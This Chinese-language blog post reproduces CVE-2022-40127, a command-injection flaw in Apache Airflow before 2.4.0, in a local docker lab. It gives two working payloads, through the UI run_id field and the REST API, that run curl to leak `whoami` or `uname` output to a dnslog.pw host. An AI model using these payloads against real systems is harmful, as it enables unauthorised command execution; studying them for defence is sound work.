«

CVE-2022-40127: Apache Airflow < 2.4.0 DAG example_bash_operator RCE

时间:2022-11-19 20:20     作者:admin     分类: 技术文章


影响组件

Apache Airflow < 2.4.0

漏洞描述

Apache Airflow 是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),Airflow 可以定义一组有依赖的任务,按照依赖依次执行。
CVE-2022-40127 中,若攻击者可访问到Apache Airflow的后台UI,并且环境中存在默认dag的话,可构造恶意请求借助run_id 执行任意命令

环境搭建

这采用docker-compose的方式来搭建,下载官方仓库低于2.4.0版本的dock-compose文件启动。

mkdir CVE-2022-40127 && cd CVE-2022-40127 
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
#or wget https://github.com/Mr-xn/CVE-2022-40127/raw/main/docker-compose.yaml
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up -d
#waiting some times
open localhost:8080

备注:如果是mac,记得先打开docker APP ,不然会出现类似错误: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

环境搭建需要注意,当执行 docker-compose up -d 后,我们需要等待十来秒钟或者观察airflow-webserver container的日志,等它起来后,访问localhost:8080 才会成功。

复现

POC 1

在登录后的首页默认的第一个DAG tab里的 example_bash_operator ,先激活它,然后在后面的运行按钮子选项里选择config,在打开的页面的 run id 里填入payload :

{"fxoxx":"\";curl `uname`.lxx2.535ld4zn.dnslog.pw;\""}

可以在返回的首页看到正在运行的任务,同时稍等去看dnslog平台即可看到执行结果

POC 2

通过REST API 来直接操作,/api/v1/dags/example_bash_operator/dagRuns,payload如下

{
    "conf": {
        "dag_run": "api2"
    },
    "dag_run_id": "id \"&& curl `whoami`.api222.535ld4zn.dnslog.pw",
    "logical_date": "2022-11-19T10:13:13.920Z"
}

在如下API的介绍和swagger里可以看到详细用法:
http://localhost:8080/redoc#tag/DAGRun/operation/post_dag_run

http://localhost:8080/api/v1/ui/#/DAGRun/post_dag_run

dnslog 执行结果

在使用swagger测试的时候需要注意,删掉系统默认填充的 "'state": "queued" ,不然会报错。

后记

其中第一个POC为根据官方 commit 记录查找使用 run_id 的在应用首页直接找到的,第二个POC来源于su18师傅的twitter。
也水了个github的repo: https://github.com/Mr-xn/CVE-2022-40127 ,欢迎在 github 给我点点star 和 follow 呀!

参考

https://github.com/apache/airflow/pull/25960/files#diff-7c35dc3aa6659f910139c28057dfc663dd886dd0dfb3d8a971603c2ae7790d2a

https://stackoverflow.com/questions/67110383/how-to-trigger-airflow-dag-with-rest-api-i-get-property-is-read-only-state

标签: 漏洞

版权所有:Mrxn's Blog
文章标题:CVE-2022-40127: Apache Airflow < 2.4.0 DAG example_bash_operator RCE
除非注明,文章均为 Mrxn's Blog 原创,请勿用于任何商业用途,转载请注明作者和出处 Mrxn's Blog

扫描二维码,在手机上阅读

推荐阅读: